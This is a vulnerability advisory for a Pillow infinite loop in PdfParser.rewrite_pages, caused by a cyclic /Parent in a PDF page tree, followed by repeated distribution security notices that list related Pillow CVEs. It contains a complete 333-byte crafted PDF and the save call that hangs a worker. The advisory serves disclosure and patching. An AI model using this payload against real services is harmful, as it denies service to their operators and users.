CVE-2026-112406

============================================================================
Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
Location: src/PIL/PdfParser.py:505  in PdfParser.rewrite_pages()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls im.save(fp, "PDF", append=True) (or save_all=True, append=True) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.

The bug is in PdfParser.rewrite_pages() in src/PIL/PdfParser.py (the while pages_tree_node_ref: loop at line 505). For each original page, it walks the /Parent chain upward and stops only when it reaches a node with no /Parent. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a /Pages root that lists itself as its own /Parent; a longer cycle among page-tree nodes behaves the same way. The path is PdfImagePlugin._save() → write_catalog() → rewrite_pages(), and it is reached whether the save target is a file path or a BytesIO. Plain Image.open() pipelines are not affected, because Pillow only parses PDFs on the append path.

This is a sibling of CVE-2026-42310 (the cyclic trailer /Prev loop in the same parser). The processed_offsets guard added to read_prev_trailer() for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.

The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside rewrite_pages() when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.

Details

PdfParser.rewrite_pages() walks the /Parent chain of every pre-existing page upward and stops only when a node has no /Parent. It keeps no record of visited nodes, so a page-tree node whose /Parent points at itself, or at any node below it, makes the walk spin forever.

The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares /Parent 2 0 R:

%PDF-1.4
1 0 obj
<</Type /Catalog /Pages 2 0 R>>
endobj
2 0 obj
<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>
endobj
3 0 obj
<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>
endobj
xref
0 4
0000000000 65535 f 
0000000009 00000 n 
0000000056 00000 n 
0000000125 00000 n 
trailer
<</Size 4 /Root 1 0 R>>
startxref
192
%%EOF

Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened r+b). Interrupting it with SIGALRM after 5 s gives this traceback every time:

  File "src/PIL/PdfImagePlugin.py", line 263, in _save
    existing_pdf.write_catalog()
  File "src/PIL/PdfParser.py", line 473, in write_catalog
    self.rewrite_pages()
  File "src/PIL/PdfParser.py", line 505, in rewrite_pages
    while pages_tree_node_ref:

The same file without /Parent 2 0 R on object 2 is appended to in ~30 ms.

The loop:

# src/PIL/PdfParser.py:483-510
def rewrite_pages(self) -> None:
    pages_tree_nodes_to_delete = []
    for i, page_ref in enumerate(self.orig_pages):
        page_info = self.cached_objects[page_ref]
        del self.xref_table[page_ref.object_id]
        pages_tree_nodes_to_delete.append(page_info[PdfName(b"Parent")])
        …
    # delete redundant Pages tree nodes from xref table
    for pages_tree_node_ref in pages_tree_nodes_to_delete:
        while pages_tree_node_ref:
            pages_tree_node =…

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• pillow: Pillow: Denial of Service via unbounded recursion in PDF parser (CVE-2026-112391)

• pillow: pillow: Denial of service via double free during image transformation (CVE-2026-112402)

• pillow: pillow: Denial of Service via zero-size images in rank filters (CVE-2026-112392)

• pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images (CVE-2026-112397)

• pillow: Pillow: Denial of Service via null pointer dereference in Image.merge() (CVE-2026-112405)

• pillow: pillow: Denial of Service via crafted multi-frame image conversion (CVE-2026-112894)

• pillow: pillow: Denial of service via crafted PDF during append operations (CVE-2026-112895)

• pillow: pillow: Denial of Service via infinite loop during PDF page rewriting (CVE-2026-112406)

• pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640)

• pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder (CVE-2026-112892)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

• pillow: Pillow: Denial of Service via unbounded recursion in PDF parser (CVE-2026-112391)
• pillow: pillow: Denial of service via double free during image transformation (CVE-2026-112402)
• pillow: pillow: Denial of Service via zero-size images in rank filters (CVE-2026-112392)
• pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images (CVE-2026-112397)
• pillow: Pillow: Denial of Service via null pointer dereference in Image.merge() (CVE-2026-112405)
• pillow: pillow: Denial of Service via crafted multi-frame image conversion (CVE-2026-112894)
• pillow: pillow: Denial of service via crafted PDF during append operations (CVE-2026-112895)
• pillow: pillow: Denial of Service via infinite loop during PDF page rewriting (CVE-2026-112406)
• pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640)
• pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder (CVE-2026-112892)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.

TuxCare rebuilt pillow to address 10 CVEs. Fixed in 11.3.0.post8+tuxcare.

TuxCare rebuilt pillow to address 10 CVEs. Fixed in 11.2.1.post10+tuxcare.

TuxCare rebuilt pillow to address 10 CVEs. Fixed in 10.4.0.post12+tuxcare.

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 9.5.0.post10+tuxcare.

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 9.4.0.post11+tuxcare.

TuxCare rebuilt pillow to address 9 CVEs. Fixed in 8.4.0.post11+tuxcare.

These are all security issues fixed in the python313-Pillow-13.0.0-1.1 package on the GA media of openSUSE Tumbleweed.

Root has patched CVE-2026-112406 in the pillow package for Root:PyPI. Multiple fixed versions available.

This update for python-Pillow fixes the following issues:

• CVE-2026-96636: decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (bsc#1286802).
• CVE-2026-96637: decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS (bsc#1286801).
• CVE-2026-96640: PDF append accepts malformed shared page-tree DAG, which can cause resource exhaustion (bsc#1286798).
• CVE-2026-96641: reachable undefined behavior in native integer operations can lead to denial of service or logic integrity compromise (bsc#1286797).
• CVE-2026-96642: TarIO negative size field causes infinite CPU-spin loop (bsc#1286796).
• CVE-2026-112390: Denial of Service via infinite loop during crafted MIC image parsing (bsc#1286256).
• CVE-2026-112391: Denial of Service via unbounded recursion in PDF parser (bsc#1286273).
• CVE-2026-112392: Denial of Service via zero-size images in rank filters (bsc#1286287).
• CVE-2026-112393: heap buffer overflow and stale-heap disclosure in _tiffWriteProc when saving compressed TIFF data (bsc#1286325).
• CVE-2026-112394: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size (bsc#1286311).
• CVE-2026-112397: out-of-bounds access in _imagingmorph on a zero-width image (bsc#1286314).
• CVE-2026-112398: heap buffer overflow in FPX JPEG decoding can lead to code execution (bsc#1286406).
• CVE-2026-112399: Denial of service via crafted APNG image (bsc#1286368).
• CVE-2026-112400: Denial of Service via memory exhaustion from crafted GIF image (bsc#1286370).
• CVE-2026-112401: Denial of Service via crafted GIF comments (bsc#1286372).
• CVE-2026-112402: Denial of service via double free during image transformation (bsc#1286381).
• CVE-2026-112403: heap buffer overflow in ImagingJpegDecode allows for code execution (bsc#1286405).
• CVE-2026-112405: NULL pointer dereference in Image.merge via an unvalidated band 0 (bsc#1286404).
• CVE-2026-112406: infinite loop in PdfParser.rewrite_pages on page tree Parent cycle (bsc#1286403).
• CVE-2026-112891: quadratic GIF comment copying during save (bsc#1286402).
• CVE-2026-112892: MSP RLE decoder expands a tiny file into unbounded memory (bsc#1286401).
• CVE-2026-112894: Denial of Service via crafted multi-frame image conversion (bsc#1286408).
• CVE-2026-112895: Denial of service via crafted PDF during append operations (bsc#1286411).
• CVE-2026-112896: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read (bsc#1286400).
• CVE-2026-112897: TiffDecode returns uninitialized memory as pixels for short JPEG strips (bsc#1286398).
• CVE-2026-112899: EPS load(scale) lets Ghostscript render past the decompression bomb limit (bsc#1286489).
• CVE-2026-112900: argument Injection in Ghostscript call can lead to remote code execution (bsc#1286397).
• CVE-2026-112901: ReDoS in XbmImagePlugin can be triggered by 512-byte file (bsc#1286396).
• CVE-2026-112902: memory disclosure and segfault in libtiff encoder via crafted TIFF tags (bsc#1286804).